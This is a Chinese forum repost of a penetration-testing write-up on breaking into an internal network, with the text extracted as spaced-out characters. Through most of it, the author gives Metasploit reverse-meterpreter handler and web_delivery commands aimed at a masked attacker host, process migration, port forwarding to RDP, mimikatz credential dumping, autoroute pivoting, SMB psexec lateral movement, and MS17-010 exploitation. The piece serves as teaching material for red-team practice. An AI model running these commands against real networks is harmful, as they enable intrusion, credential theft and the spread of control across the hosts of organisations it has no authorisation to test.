搜索

[22151] 2021-07-11_实战讲解内网渗透思路

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-07-11_实战讲解内网渗透思路 实 战 讲 解 内 网 渗 透 思 路 L e m o n S e c   2 0 2 1 - 0 7 - 1 1 0 x 0 1   简 介 简 介 0 x 0 2   获 得 获 得 s h e l l 文 章 来 源 ： 先 知 社 区 原 文 地 址 ： h t t p s : / / x z . a l i y u n . c o m / t / 6 9 2 0 本 次 测 试 为 实 战 测 试 ， 测 试 环 境 是 授 权 项 目 中 的 一 部 分 ， 敏 感 信 息 内 容 已 做 打 码 处 理 ， 仅 供 讨 论 学 习 。 由 于 本 人 在 内 网 方 面 的 掌 握 也 是 属 于 新 手 阶 段 ， 运 用 到 的 一 些 m s f 攻 击 手 法 也 很 基 础 ， 请 各 位 表 哥 多 多 指 教 。 G e t s h e l l 的 过 程 没 什 么 好 说 的 ， 无 非 简 单 的 后 台 弱 口 令 到 上 传 然 后 冰 蝎 连 接 g e t s h e l l 。 获 得 s h e l l 后 ， 模 拟 终 端 p i n g   8 . 8 . 8 . 8 有 返 回 包 ， 说 明 该 服 务 器 与 外 网 互 通 。 既 然 跟 外 网 互 通 ， 那 么 可 以 尝 试 直 接 使 用 m s f 的 e x p l o i t / m u l t i / h a n d l e r 配 合 冰 蝎 反 弹 s h e l l 来 获 得 s e s s i o n u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   5 6 6 5 r u n
但 是 结 果 很 不 尽 人 意 ， 没 能 够 成 功 获 得 s e s s i o n 。 在 使 用 冰 蝎 模 拟 终 端 收 集 信 息 过 程 中 ， 发 现 本 地 有 p o w e r s h e l l 进 程 。 再 次 打 开 m s f ， 本 次 尝 试 使 用 w e b _ d e l i v e r y 配 合 终 端 执 行 p o w e r s h e l l 指 令 来 获 得 s e s s i o n 。 获 得 p a y l o a d ， 使 用 冰 蝎 或 者 C 刀 模 拟 终 端 直 接 执 行 ， 成 功 获 得 s e s s i o n ， 执 行 g e t u i d 发 现 权 限 为 s y s t e m 权 限 ， 省 去 了 提 权 过 程 。 u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   t a r g e t s   2 s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ h t t p s s e t   l h o s t   x x x . x x x . x x x . x x x s e t   l p o r t   4 3 3 2 s e t   s r v p o r t r u n
0 x 0 3   权 限 维 持 权 限 维 持 0 x 0 4   内 网 信 息 搜 集 内 网 信 息 搜 集 为 了 获 得 一 个 持 久 稳 定 的 高 权 限 s e s s i o n ， 我 们 需 要 将 当 前 的 s e s s i o n 进 程 迁 移 到 一 个 持 久 、 坚 挺 又 稳 定 的 进 程 上 ， 防 止 突 然 暴 毙 （ 咳 咳 ） 。 我 们 使 用 p s 查 看 当 前 进 程 ， 然 后 选 中 一 个 看 起 来 比 较 持 久 的 幸 运 儿 s p o o l s v . e x e （ 这 是 一 个 用 来 控 制 打 印 的 进 程 ， 我 遇 到 的 机 器 基 本 都 开 启 了 此 进 程 ） 。 注 意 ： 注 意 ： 选 择 进 程 的 时 候 优 先 选 择 系 统 进 程 ， 这 种 比 较 持 久 且 为 s y s t e m 权 限 。 不 管 是 在 什 么 类 型 的 渗 透 环 境 下 ， 信 息 搜 集 永 远 是 不 可 缺 少 的 一 环 ， 他 决 定 了 你 渗 透 的 效 率 ， 可 以 让 你 在 渗 透 过 程 中 少 走 很 多 弯 路 ， 毕 竟 在 项 目 上 尤 其 是 红 蓝 攻 防 中 ， 最 缺 的 永 远 是 时 间 。 接 下 来 ， 查 看 I P 信 息 以 及 a r p 缓 存 ， 查 看 网 段 分 布 情 况 ： m i g r a t e   进 程 号 g e t p i d

发 现 该 服 务 器 只 存 在 1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 网 段 的 信 息 ， 于 是 继 续 查 看 其 他 信 息 ， 发 现 服 务 器 开 放 3 3 8 9 端 口 。 既 然 开 启 了 3 3 8 9 端 口 ， 我 们 使 用 端 口 转 发 ， 登 录 到 服 务 器 看 看 有 没 有 意 外 收 获 。 I P 有 了 ， 3 3 8 9 开 了 ， 现 在 我 们 缺 少 的 是 用 户 名 密 码 ， 直 接 m e t e r p r e t e r 下 加 载 m i m i k a t z 比 较 遗 憾 的 是 没 能 获 取 到 明 文 密 码 ， 但 是 我 这 边 使 用 c o b a l t   s t r i k e 加 载 的 m i m i k a t z 成 功 获 取 到 明 文 密 码 ， e m m m 总 之 搞 不 懂 的 地 方 先 归 为 玄 学 问 题 。 n e t s t a t   - a n o p o r t f w d   a d d   - l   6 6 6 6   - p   3 3 8 9   - r   1 2 7 . 0 . 0 . 1 L o a d   m i m i k a t z W d i g e s t
0 x 0 5   横 向 移 动 横 向 移 动 现 在 ， 密 码 也 有 了 ， m s t s c 链 接 目 标 3 3 8 9 端 口 成 功 ， 此 处 涉 及 的 敏 感 信 息 较 多 ， 放 弃 截 图 ， 我 尽 量 用 语 言 表 述 清 楚 思 路 。 此 处 涉 及 的 敏 感 信 息 较 多 ， 放 弃 截 图 ， 我 尽 量 用 语 言 表 述 清 楚 思 路 。 上 传 n e t p a s s 查 看 r d p 缓 存 ， 无 果 ， 但 是 发 现 系 统 有 V N C ， ， 查 看 V N C 相 关 文 件 发 现 新 的 网 段 信 息 ， 但 是 没 有 保 存 的 连 接 信 息 ， 不 过 能 获 得 新 的 网 段 信 息 也 是 知 足 了 。 至 此 ， 信 息 收 集 部 分 其 实 也 就 差 不 多 ， 接 下 来 我 们 开 始 尝 试 横 向 移 动 。
根 据 之 前 发 现 的 网 段 信 息 以 及 服 务 器 本 机 的 路 由 信 息 ， 我 们 手 动 添 加 路 由 。 其 他 网 段 同 理 ， 添 加 路 由 之 后 退 回 到 控 制 台 ， 先 使 用 模 块 扫 描 一 下 各 网 段 的 s m b 服 务 开 启 情 况 。 可 以 看 到 ， 活 着 的 机 器 还 挺 多 。 使 用 a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s 模 块 配 合 已 获 得 的 两 组 账 户 密 码 进 行 横 向 。 尴 尬 ， 横 向 失 败 ， 居 然 没 有 用 同 账 户 密 码 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 r u n   a u t o r o u t e   - s   1 7 2 . 1 6 . 0 . 0 / 2 4 … … b g a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   t h r e a d s   1 0 r u n u s e   a u x i l i a r y / s c a n n e r / s m b / p s e x e c _ l o g g e d i n _ u s e r s s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   s m b u s e r   u s e r n a m e s e t   s m b p a s s   p a s s w o r d s e t   t h r e a d s   5 r u n
既 然 横 向 失 败 ， 可 以 考 虑 最 简 单 的 ， 但 也 是 最 实 用 的 大 杀 器 ， m s 1 7 - 0 1 0 ， 先 使 用 模 块 扫 描 一 下 哪 些 机 器 可 能 存 在 m s 1 7 - 0 1 0 的 漏 洞 。 由 于 打 m s 1 7 - 0 1 0 的 流 量 比 较 大 ， 为 了 防 止 死 掉 ， 我 根 据 扫 描 出 来 的 结 果 ， 针 对 性 的 选 择 一 台 感 觉 比 较 容 易 搞 的 目 标 ， 单 独 打 。 此 处 试 了 很 多 机 器 ， 好 多 都 打 了 补 丁 ， 不 过 也 有 漏 网 之 鱼 ， 此 处 单 独 拿 一 台 示 例 ： s c a n n e r u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ m s 1 7 _ 0 1 0 s e t   r h o s t s   1 9 2 . 1 6 8 . 1 0 . 0 / 2 4 s e t   t h r e a d   2 0 r u n u s e   a u x i l i a r y / a d m i n / s m b / m s 1 7 _ 0 1 0 _ c o m m a n d s e t   r h o s t   1 9 2 . 1 6 8 . 1 0 . 1 8 s e t   c o m m a n d   w h o a m i r u n
0 x 0 6   写 在 最 后 写 在 最 后 成 功 执 行 ， 是 s y s t e m 权 限 ， 同 理 c o m m a n d 换 成 弹 s h e l l 的 命 令 ， 便 可 以 获 得 该 机 器 的 权 限 。 获 得 新 机 器 的 权 限 之 后 ， 便 可 以 围 绕 新 机 器 进 行 新 一 轮 的 信 息 搜 集 ， 然 后 不 断 横 向 ， 进 一 步 扩 大 内 网 战 果 ， 以 下 ， 就 不 在 多 做 测 试 。 另 外 对 于 m s 1 7 - 0 1 0 ， 如 果 说 打 2 0 0 3 的 机 器 ， 建 议 使 用 m s 1 7 _ 0 1 0 _ c o m m a n d 模 块 进 行 执 行 命 令 获 得 s e s s i o n ； 其 他 的 可 以 直 接 使 用 m s 1 7 _ 0 1 0 _ e t e r n a l b l u e 或 者 m s 1 7 _ 0 1 0 _ p s e x e c 来 直 接 获 得 s e s s i o n 。 咕 某 人 提 醒 您 ： 道 路 千 万 条 ， 安 全 第 一 条 ； 渗 透 不 规 范 ， 亲 人 两 行 泪 。 以 上 渗 透 测 试 过 程 纯 属 本 人 杜 撰 ， 渗 透 是 不 可 能 渗 透 的 ， 这 辈 子 都 不 可 能 渗 透 的 。 最 后 ， 对 于 过 程 中 有 任 何 疑 问 都 可 以 评 论 留 言 ， 我 会 的 会 一 一 回 复 ， 不 会 的 也 能 让 路 过 的 表 哥 给 康 康 ， 说 不 定 表 哥 就 给 解 决 了 呢 ， 嘿 嘿 （ 发 出 了 白 嫖 的 笑 声 ） 。 渗 透 测 试 干 货   |   横 向 渗 透 的 常 见 方 法 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理